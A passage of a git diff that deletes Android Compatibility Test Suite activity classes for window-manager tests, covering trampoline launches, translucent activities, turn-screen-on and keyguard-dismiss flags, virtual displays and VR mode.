-
-package android.server.cts;
-
-import android.os.Bundle;
-
-import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TOP;
-import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
-
-import android.content.Intent;
-
-public class TrampolineActivity extends AbstractLifecycleLogActivity {
-
-    private static final String TAG = TrampolineActivity.class.getSimpleName();
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        // Add a delay here to expose more easily a failure case where the real target
-        // activity is visible before it's launched, because its task is being brought
-        // to foreground. We need to verify that 'am start' is unblocked correctly.
-        try {
-            Thread.sleep(2000);
-        } catch(InterruptedException e) {}
-        Intent intent = new Intent(this, SingleTaskActivity.class);
-        intent.setFlags(FLAG_ACTIVITY_CLEAR_TOP | FLAG_ACTIVITY_NEW_TASK);
-
-        startActivity(intent);
-        finish();
-    }
-
-    @Override
-    protected String getTag() {
-        return TAG;
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TranslucentActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TranslucentActivity.java
deleted file mode 100644
index 96697aa..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TranslucentActivity.java
+++ /dev/null
@@ -1,23 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-
-public class TranslucentActivity extends Activity {
-
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TranslucentAssistantActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TranslucentAssistantActivity.java
deleted file mode 100644
index e979712..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TranslucentAssistantActivity.java
+++ /dev/null
@@ -1,44 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
-import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
-
-import android.app.Activity;
-import android.app.ActivityOptions;
-import android.content.Intent;
-import android.os.Bundle;
-
-public class TranslucentAssistantActivity extends AssistantActivity {
-
-    /**
-     * Launches a new instance of the TranslucentAssistantActivity directly into the assistant
-     * stack.
-     */
-    static void launchActivityIntoAssistantStack(Activity caller, Bundle extras) {
-        final Intent intent = new Intent(caller, TranslucentAssistantActivity.class);
-        intent.setFlags(FLAG_ACTIVITY_CLEAR_TASK | FLAG_ACTIVITY_NEW_TASK);
-        if (extras != null) {
-            intent.putExtras(extras);
-        }
-
-        final ActivityOptions options = ActivityOptions.makeBasic();
-        options.setLaunchStackId(6 /* ActivityManager.StackId.ASSISTANT_STACK_ID */);
-        caller.startActivity(intent, options.toBundle());
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TranslucentTestActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TranslucentTestActivity.java
deleted file mode 100644
index 1d10a51..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TranslucentTestActivity.java
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import android.os.Bundle;
-
-public class TranslucentTestActivity extends TestActivity {
-
-    private static final String TAG = TranslucentTestActivity.class.getSimpleName();
-
-    @Override
-    protected void onCreate(Bundle icicle) {
-        super.onCreate(icicle);
-
-        setContentView(R.layout.task_overlay);
-    }
-
-    @Override
-    protected String getTag() {
-        return TAG;
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TranslucentTopActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TranslucentTopActivity.java
deleted file mode 100644
index 9d96898..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TranslucentTopActivity.java
+++ /dev/null
@@ -1,53 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import android.os.Handler;
-import android.os.Bundle;
-import android.util.Log;
-
-public class TranslucentTopActivity extends AbstractLifecycleLogActivity {
-
-    private static final String TAG = TranslucentTopActivity.class.getSimpleName();
-
-    @Override
-    protected String getTag() {
-        return TAG;
-    }
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        final boolean useWallpaper = getIntent().getBooleanExtra("USE_WALLPAPER", false);
-        if (useWallpaper) {
-            setTheme(R.style.TranslucentWallpaperTheme);
-        }
-
-        final int finishDelay = getIntent().getIntExtra("FINISH_DELAY", 0);
-        if (finishDelay > 0) {
-            Handler handler = new Handler();
-            handler.postDelayed(new Runnable() {
-                @Override
-                public void run() {
-                    Log.d(TAG, "Calling finish()");
-                    finish();
-                }
-            }, finishDelay);
-        }
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnActivity.java
deleted file mode 100644
index 79e31b3..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnActivity.java
+++ /dev/null
@@ -1,32 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-import android.os.Bundle;
-import android.view.WindowManager;
-
-public class TurnScreenOnActivity extends Activity {
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON
-                | WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED
-                | WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD
-                | WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON);
-        super.onCreate(savedInstanceState);
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnAttrActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnAttrActivity.java
deleted file mode 100644
index 5e1f5d1..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnAttrActivity.java
+++ /dev/null
@@ -1,26 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-public class TurnScreenOnAttrActivity extends AbstractLifecycleLogActivity {
-    private static final String TAG = TurnScreenOnAttrActivity.class.getSimpleName();
-
-    @Override
-    protected String getTag() {
-        return TAG;
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnAttrDismissKeyguardActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnAttrDismissKeyguardActivity.java
deleted file mode 100644
index b1b860f..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnAttrDismissKeyguardActivity.java
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.KeyguardManager;
-import android.os.Bundle;
-
-public class TurnScreenOnAttrDismissKeyguardActivity extends AbstractLifecycleLogActivity {
-    private static final String TAG = TurnScreenOnAttrDismissKeyguardActivity.class.getSimpleName();
-
-    @Override
-    protected void onCreate(Bundle icicle) {
-        super.onCreate(icicle);
-        ((KeyguardManager) getSystemService(KEYGUARD_SERVICE))
-                .requestDismissKeyguard(this, new KeyguardDismissLoggerCallback(this));
-    }
-
-    @Override
-    protected String getTag() {
-        return TAG;
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnAttrRemoveAttrActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnAttrRemoveAttrActivity.java
deleted file mode 100644
index 29911fe..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnAttrRemoveAttrActivity.java
+++ /dev/null
@@ -1,32 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-public class TurnScreenOnAttrRemoveAttrActivity extends AbstractLifecycleLogActivity {
-    private static final String TAG = TurnScreenOnAttrRemoveAttrActivity.class.getSimpleName();
-
-    @Override
-    protected void onStop() {
-        super.onStop();
-        setTurnScreenOn(false);
-    }
-
-    @Override
-    protected String getTag() {
-        return TAG;
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnDismissKeyguardActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnDismissKeyguardActivity.java
deleted file mode 100644
index 487f785..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnDismissKeyguardActivity.java
+++ /dev/null
@@ -1,33 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-import android.app.KeyguardManager;
-import android.os.Bundle;
-import android.view.WindowManager;
-
-public class TurnScreenOnDismissKeyguardActivity extends Activity {
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        getWindow().addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED
-                | WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON);
-        getSystemService(KeyguardManager.class).requestDismissKeyguard(this,
-                new KeyguardDismissLoggerCallback(this));
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnShowOnLockActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnShowOnLockActivity.java
deleted file mode 100644
index 57ff4fb..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnShowOnLockActivity.java
+++ /dev/null
@@ -1,26 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-public class TurnScreenOnShowOnLockActivity extends AbstractLifecycleLogActivity {
-    private static final String TAG = TurnScreenOnShowOnLockActivity.class.getSimpleName();
-
-    @Override
-    protected String getTag() {
-        return TAG;
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnSingleTaskActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnSingleTaskActivity.java
deleted file mode 100644
index 29c71d0..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnSingleTaskActivity.java
+++ /dev/null
@@ -1,26 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-public class TurnScreenOnSingleTaskActivity extends AbstractLifecycleLogActivity {
-    private static final String TAG = TurnScreenOnSingleTaskActivity.class.getSimpleName();
-
-    @Override
-    protected String getTag() {
-        return TAG;
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnWithRelayoutActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnWithRelayoutActivity.java
deleted file mode 100644
index 14c2801..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnWithRelayoutActivity.java
+++ /dev/null
@@ -1,43 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-import android.view.WindowManager;
-
-public class TurnScreenOnWithRelayoutActivity extends AbstractLifecycleLogActivity {
-    private static final String TAG = TurnScreenOnWithRelayoutActivity.class.getSimpleName();
-
-    @Override
-    protected String getTag() {
-        return TAG;
-    }
-
-    @Override
-    protected void onStart() {
-        super.onStart();
-        getWindow().addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED
-                | WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON);
-    }
-
-    @Override
-    protected void onStop() {
-        super.onStop();
-
-        // This is to force a relayout, specifically with insets changed. When the insets are
-        // changed, it will trigger a performShow that could turn the screen on.
-        getWindow().addFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN);
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/VirtualDisplayActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/VirtualDisplayActivity.java
deleted file mode 100644
index dd12acb..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/VirtualDisplayActivity.java
+++ /dev/null
@@ -1,235 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY;
-import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_PUBLIC;
-
-import android.app.Activity;
-import android.content.Intent;
-import android.hardware.display.DisplayManager;
-import android.hardware.display.VirtualDisplay;
-import android.os.Bundle;
-import android.server.cts.tools.ActivityLauncher;
-import android.util.Log;
-import android.view.Surface;
-import android.view.SurfaceHolder;
-import android.view.SurfaceView;
-import android.view.ViewGroup;
-
-import java.util.HashMap;
-
-/**
- * Activity that is able to create and destroy a virtual display.
- */
-public class VirtualDisplayActivity extends Activity implements SurfaceHolder.Callback {
-    private static final String TAG = "VirtualDisplayActivity";
-
-    private static final int DEFAULT_DENSITY_DPI = 160;
-    private static final String KEY_DENSITY_DPI = "density_dpi";
-    private static final String KEY_CAN_SHOW_WITH_INSECURE_KEYGUARD
-            = "can_show_with_insecure_keyguard";
-    private static final String KEY_PUBLIC_DISPLAY = "public_display";
-    private static final String KEY_RESIZE_DISPLAY = "resize_display";
-    private static final String KEY_LAUNCH_TARGET_ACTIVITY = "launch_target_activity";
-    private static final String KEY_COUNT = "count";
-
-    private DisplayManager mDisplayManager;
-
-    // Container for details about a pending virtual display creation request.
-    private static class VirtualDisplayRequest {
-        public final SurfaceView surfaceView;
-        public final Bundle extras;
-
-        public VirtualDisplayRequest(SurfaceView surfaceView, Bundle extras) {
-            this.surfaceView = surfaceView;
-            this.extras = extras;
-        }
-    }
-
-    // Container to hold association between an active virtual display and surface view.
-    private static class VirtualDisplayEntry {
-        public final VirtualDisplay display;
-        public final SurfaceView surfaceView;
-        public final boolean resizeDisplay;
-        public final int density;
-
-        public VirtualDisplayEntry(VirtualDisplay display, SurfaceView surfaceView, int density,
-                boolean resizeDisplay) {
-            this.display = display;
-            this.surfaceView = surfaceView;
-            this.density = density;
-            this.resizeDisplay = resizeDisplay;
-        }
-    }
-
-    private HashMap<Surface, VirtualDisplayRequest> mPendingDisplayRequests;
-    private HashMap<Surface, VirtualDisplayEntry> mVirtualDisplays;
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        setContentView(R.layout.virtual_display_layout);
-
-        mVirtualDisplays = new HashMap<>();
-        mPendingDisplayRequests = new HashMap<>();
-        mDisplayManager = (DisplayManager) getSystemService(DISPLAY_SERVICE);
-    }
-
-    @Override
-    protected void onNewIntent(Intent intent) {
-        super.onNewIntent(intent);
-        final Bundle extras = intent.getExtras();
-        if (extras == null) {
-            return;
-        }
-
-        String command = extras.getString("command");
-        switch (command) {
-            case "create_display":
-                createVirtualDisplay(extras);
-                break;
-            case "destroy_display":
-                destroyVirtualDisplays();
-                break;
-            case "resize_display":
-                resizeDisplay();
-                break;
-        }
-    }
-
-    @Override
-    protected void onDestroy() {
-        super.onDestroy();
-        destroyVirtualDisplays();
-    }
-
-    private void createVirtualDisplay(Bundle extras) {
-        final int requestedCount = extras.getInt(KEY_COUNT, 1);
-        Log.d(TAG, "createVirtualDisplays. requested count:" + requestedCount);
-
-        for (int displayCount = 0; displayCount < requestedCount; ++displayCount) {
-            final ViewGroup root = (ViewGroup) findViewById(android.R.id.content);
-            final SurfaceView surfaceView = new SurfaceView(this);
-            surfaceView.setLayoutParams(new ViewGroup.LayoutParams(
-                    ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.MATCH_PARENT));
-            surfaceView.getHolder().addCallback(this);
-            mPendingDisplayRequests.put(surfaceView.getHolder().getSurface(),
-                    new VirtualDisplayRequest(surfaceView, extras));
-            root.addView(surfaceView);
-        }
-    }
-
-    private void destroyVirtualDisplays() {
-        Log.d(TAG, "destroyVirtualDisplays");
-        final ViewGroup root = (ViewGroup) findViewById(android.R.id.content);
-
-        for (VirtualDisplayEntry entry : mVirtualDisplays.values()) {
-            Log.d(TAG, "destroying:" + entry.display);
-            entry.display.release();
-            root.removeView(entry.surfaceView);
-        }
-
-        mPendingDisplayRequests.clear();
-        mVirtualDisplays.clear();
-    }
-
-    @Override
-    public void surfaceCreated(SurfaceHolder surfaceHolder) {
-        final VirtualDisplayRequest entry =
-                mPendingDisplayRequests.remove(surfaceHolder.getSurface());
-
-        if (entry == null) {
-            return;
-        }
-
-        final int densityDpi = entry.extras.getInt(KEY_DENSITY_DPI, DEFAULT_DENSITY_DPI);
-        final boolean resizeDisplay = entry.extras.getBoolean(KEY_RESIZE_DISPLAY);
-        final String launchActivityName = entry.extras.getString(KEY_LAUNCH_TARGET_ACTIVITY);
-        final Surface surface = surfaceHolder.getSurface();
-
-        // Initially, the surface will not have a set width or height so rely on the parent.
-        // This should be accurate with match parent on both params.
-        final int width = surfaceHolder.getSurfaceFrame().width();
-        final int height = surfaceHolder.getSurfaceFrame().height();
-
-        int flags = 0;
-
-        final boolean canShowWithInsecureKeyguard
-                = entry.extras.getBoolean(KEY_CAN_SHOW_WITH_INSECURE_KEYGUARD);
-        if (canShowWithInsecureKeyguard) {
-            flags |= 1 << 5; // VIRTUAL_DISPLAY_FLAG_CAN_SHOW_WITH_INSECURE_KEYGUARD
-        }
-
-        final boolean publicDisplay = entry.extras.getBoolean(KEY_PUBLIC_DISPLAY);
-        if (publicDisplay) {
-            flags |= VIRTUAL_DISPLAY_FLAG_PUBLIC | VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY;
-        }
-
-        Log.d(TAG, "createVirtualDisplay: " + width + "x" + height + ", dpi: "
-                + densityDpi + ", canShowWithInsecureKeyguard=" + canShowWithInsecureKeyguard
-                + ", publicDisplay=" + publicDisplay);
-        try {
-            VirtualDisplay virtualDisplay = mDisplayManager.createVirtualDisplay(
-                    "VirtualDisplay" + mVirtualDisplays.size(), width,
-                    height, densityDpi, surface, flags);
-            mVirtualDisplays.put(surface,
-                    new VirtualDisplayEntry(virtualDisplay, entry.surfaceView, densityDpi,
-                            resizeDisplay));
-            if (launchActivityName != null) {
-                final int displayId = virtualDisplay.getDisplay().getDisplayId();
-                Log.d(TAG, "Launch activity after display created: activityName="
-                        + launchActivityName + ", displayId=" + displayId);
-                launchActivity(launchActivityName, displayId);
-            }
-        } catch (IllegalArgumentException e) {
-            final ViewGroup root = (ViewGroup) findViewById(android.R.id.content);
-            // This is expected when trying to create show-when-locked public display.
-            root.removeView(entry.surfaceView);
-        }
-
-    }
-
-    @Override
-    public void surfaceChanged(SurfaceHolder surfaceHolder, int format, int width, int height) {
-        final VirtualDisplayEntry entry = mVirtualDisplays.get(surfaceHolder.getSurface());
-
-        if (entry != null && entry.resizeDisplay) {
-            entry.display.resize(width, height, entry.density);
-        }
-    }
-
-    @Override
-    public void surfaceDestroyed(SurfaceHolder surfaceHolder) {
-    }
-
-    /** Resize virtual display to half of the surface frame size. */
-    private void resizeDisplay() {
-        final VirtualDisplayEntry vd = (VirtualDisplayEntry) mVirtualDisplays.values().toArray()[0];
-        final SurfaceHolder surfaceHolder = vd.surfaceView.getHolder();
-        vd.display.resize(surfaceHolder.getSurfaceFrame().width() / 2,
-                surfaceHolder.getSurfaceFrame().height() / 2, vd.density);
-    }
-
-    private void launchActivity(String activityName, int displayId) {
-        final Bundle extras = new Bundle();
-        extras.putBoolean("launch_activity", true);
-        extras.putString("target_activity", activityName);
-        extras.putInt("display_id", displayId);
-        ActivityLauncher.launchActivityFromExtras(this, extras);
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/VrTestActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/VrTestActivity.java
deleted file mode 100644
index 6ef25e2..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/VrTestActivity.java
+++ /dev/null
@@ -1,62 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-import android.content.ComponentName;
-import android.content.pm.PackageManager;
-import android.os.Bundle;
-import android.util.Log;
-
-import com.android.cts.verifier.vr.MockVrListenerService;
-
-/**
- * Activity that is able to create and destroy a virtual display.
- */
-public class VrTestActivity extends Activity {
-    private static final String TAG = "VrTestActivity";
-    private static final boolean DEBUG = false;
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        if (DEBUG) Log.i(TAG, "onCreate called.");
-        super.onCreate(savedInstanceState);
-        try {
-            setVrModeEnabled(true, new ComponentName(this, MockVrListenerService.class));
-        } catch (PackageManager.NameNotFoundException e) {
-            Log.e(TAG, "Could not set VR mode: " + e);
-        }
-    }
-
-    @Override
-    protected void onResume() {
-        if (DEBUG) Log.i(TAG, "onResume called.");
-        super.onResume();
-    }
-
-    @Override
-    public void onWindowFocusChanged(boolean hasFocus) {
-        if (DEBUG) Log.i(TAG, "onWindowFocusChanged called with " + hasFocus);
-        super.onWindowFocusChanged(hasFocus);
-    }
-
-    @Override
-    protected void onPause() {
-        if (DEBUG) Log.i(TAG, "onPause called.");
-        super.onPause();
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/WallpaperActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/WallpaperActivity.java
deleted file mode 100644
index 63e11d5..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/WallpaperActivity.java
+++ /dev/null
@@ -1,22 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-
-public class WallpaperActivity extends Activity {
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/tools/ActivityLauncher.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/tools/ActivityLauncher.java
deleted file mode 100644
index 15b55f5..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/tools/ActivityLauncher.java
+++ /dev/null
@@ -1,90 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
